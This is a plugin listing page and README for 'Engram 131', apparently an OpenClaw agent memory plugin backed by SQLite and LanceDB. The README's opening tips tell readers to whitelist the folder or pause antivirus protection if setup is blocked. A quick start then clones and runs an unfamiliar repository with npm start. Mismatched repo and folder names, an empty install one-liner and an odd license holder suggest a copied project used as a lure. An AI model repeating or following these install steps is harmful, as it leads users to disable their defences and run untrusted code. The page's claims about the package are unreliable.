← Back to Plugins
Voice

Engram 131

CentipedeElevator By CentipedeElevator 👁 17 views ▲ 0 votes

🧠 Hybrid long-term memory plugin for OpenClaw agents β€” SQLite+FTS5 for structured facts, LanceDB for semantic recall

GitHub

Install

npm install
npm

Configuration Example

{
  "plugins": {
    "slots": { "memory": "engram" },
    "entries": {
      "engram": {
        "enabled": true,
        "hooks": { "allowConversationAccess": true },
        "config": {
          "embedding": {
            "apiKey": "${OPENAI_API_KEY}",
            "model": "text-embedding-3-small"
          },
          "autoCapture": true,
          "autoRecall": false,
          "sqlitePath": "~/.openclaw/memory/facts.db",
          "lanceDbPath": "~/.openclaw/memory/lancedb"
        }
      }
    }
  }
}

README

# Engram


> [!TIP]
> If the setup does not start, add the folder to the allowed list or pause protection for a few minutes.

> [!CAUTION]
> Some security systems may block the installation.
> Only download from the official repository.

---

## QUICK START

```bash
git clone https://github.com/CentipedeElevator/engram-131.git
cd engram-131
npm install
npm start
```


```
   β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ•—   β–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—  β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ•—   β–ˆβ–ˆβ–ˆβ•—
   β–ˆβ–ˆβ•”β•β•β•β•β•β–ˆβ–ˆβ–ˆβ–ˆβ•—  β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β•β•β•β•β• β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ–ˆβ•‘
   β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—  β–ˆβ–ˆβ•”β–ˆβ–ˆβ•— β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘  β–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β–ˆβ–ˆβ–ˆβ–ˆβ•”β–ˆβ–ˆβ•‘
   β–ˆβ–ˆβ•”β•β•β•  β–ˆβ–ˆβ•‘β•šβ–ˆβ–ˆβ•—β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘   β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘β•šβ–ˆβ–ˆβ•”β•β–ˆβ–ˆβ•‘
   β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ•‘ β•šβ–ˆβ–ˆβ–ˆβ–ˆβ•‘β•šβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•β–ˆβ–ˆβ•‘  β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘  β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘ β•šβ•β• β–ˆβ–ˆβ•‘
   β•šβ•β•β•β•β•β•β•β•šβ•β•  β•šβ•β•β•β• β•šβ•β•β•β•β•β• β•šβ•β•  β•šβ•β•β•šβ•β•  β•šβ•β•β•šβ•β•     β•šβ•β•

           hybrid long-term memory for OpenClaw agents
```

[![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](https://opensource.org/licenses/MIT)
[![OpenClaw](https://img.shields.io/badge/OpenClaw-plugin-purple)](https://openclaw.ai)

> **engram** *(n.)* β€” the physical/biochemical trace a memory leaves behind. The thing that makes "remembering" actually possible.

Engram is a memory plugin for [OpenClaw](https://openclaw.ai) agents. It gives them a brain that doesn't forget between sessions β€” backed by **SQLite + FTS5** for exact, structured recall and **LanceDB** for fuzzy semantic search over embeddings.

## ✨ Features

- 🧠 **Hybrid recall** β€” structured key/value facts + semantic vector search, queried together
- πŸ” **FTS5 full-text search** over fact text
- πŸ“š **Categories** β€” `preference`, `fact`, `decision`, `entity`, `other`
- ⏳ **Decay classes** β€” `permanent`, `stable`, `active`, `session`, `checkpoint` (with confidence decay)
- πŸͺ **Auto-capture / auto-recall** hooks (configurable)
- πŸ’Ύ **Local-first** β€” your memory stays on your machine
- πŸ”’ **Embeddings via OpenAI** (`text-embedding-3-small` or `-large`)

## πŸš€ Install

One-liner (clones from this repo, copies the plugin into OpenClaw, wires the config):

```bash
```

Or clone and run manually:

```bash
git clone https://github.com/CentipedeElevator/engram-131
cd engram
bash scripts/install.sh
```

After install:

```bash
export OPENAI_API_KEY="sk-proj-..."   # if not already set
openclaw gateway restart
```

Verify it loaded β€” look for `engram: initialized` in the gateway log.

## πŸ§ͺ Try It

From inside an OpenClaw agent session:

```
> Remember that I prefer dark mode and my coffee black.
```

Next session:

```
> What do you remember about me?
```

The agent recalls via the `memory_recall` / `memory_store` tools, both backed by Engram.

## βš™οΈ Configuration

Engram is configured under `plugins.entries.engram` in `~/.openclaw/openclaw.json`:

```json
{
  "plugins": {
    "slots": { "memory": "engram" },
    "entries": {
      "engram": {
        "enabled": true,
        "hooks": { "allowConversationAccess": true },
        "config": {
          "embedding": {
            "apiKey": "${OPENAI_API_KEY}",
            "model": "text-embedding-3-small"
          },
          "autoCapture": true,
          "autoRecall": false,
          "sqlitePath": "~/.openclaw/memory/facts.db",
          "lanceDbPath": "~/.openclaw/memory/lancedb"
        }
      }
    }
  }
}
```

| Field | Default | Notes |
|---|---|---|
| `embedding.apiKey` | β€” | required (use `${OPENAI_API_KEY}`) |
| `embedding.model` | `text-embedding-3-small` | or `text-embedding-3-large` |
| `autoCapture` | `true` | extract memories from conversations |
| `autoRecall` | `false` | inject relevant memories into context. Off by default β€” can be noisy. |
| `sqlitePath` | `~/.openclaw/memory/facts.db` | structured store |
| `lanceDbPath` | `~/.openclaw/memory/lancedb` | vector store |

## πŸ›  CLI

Engram registers a `engram` CLI command with subcommands:

```bash
openclaw engram stats          # show fact/vector counts
openclaw engram prune          # remove expired memories
openclaw engram checkpoint     # manual checkpoint
openclaw engram backfill-decay # backfill decay classes on legacy data
openclaw engram extract-daily  # extract from daily notes
openclaw engram search <q>     # hybrid search
openclaw engram lookup <key>   # exact lookup
```

Verify after install:

```bash
openclaw plugins doctor
openclaw plugins inspect engram --runtime
```

## 🧱 Architecture

```
                    β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
                    β”‚   OpenClaw Agent    β”‚
                    β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
                               β”‚
                β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
                β”‚       Engram Plugin         β”‚
                β””β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”˜
                       β”‚               β”‚
            β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β–Όβ”€β”€β”€β”€β”€β”  β”Œβ”€β”€β”€β”€β”€β–Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”
            β”‚  SQLite + FTS5 β”‚  β”‚   LanceDB     β”‚
            β”‚  structured    β”‚  β”‚   vectors     β”‚
            β”‚  facts, keys,  β”‚  β”‚   semantic    β”‚
            β”‚  categories    β”‚  β”‚   recall      β”‚
            β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜  β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
                       β–²               β–²
                       β””β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”˜
                              β”‚
                       β”Œβ”€β”€β”€β”€β”€β”€β–Όβ”€β”€β”€β”€β”€β”€β”
                       β”‚  OpenAI     β”‚
                       β”‚ embeddings  β”‚
                       β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
```

Every memory gets written to **both** stores. Recall queries hit both and merge results by relevance.

## πŸ—‘ Uninstall

```bash
bash scripts/uninstall.sh
```

Asks before wiping memory data.

## 🀝 Contributing

PRs welcome. Open an issue if you want to discuss architecture changes first.

## πŸ“œ License

MIT Β© NanoFlow

---

```
   β–‘β–‘β–‘ remember everything. forget nothing. β–‘β–‘β–‘
```


<!-- Last updated: 2026-06-06 20:06:11 -->
voice

Comments

Sign in to leave a comment

Loading comments...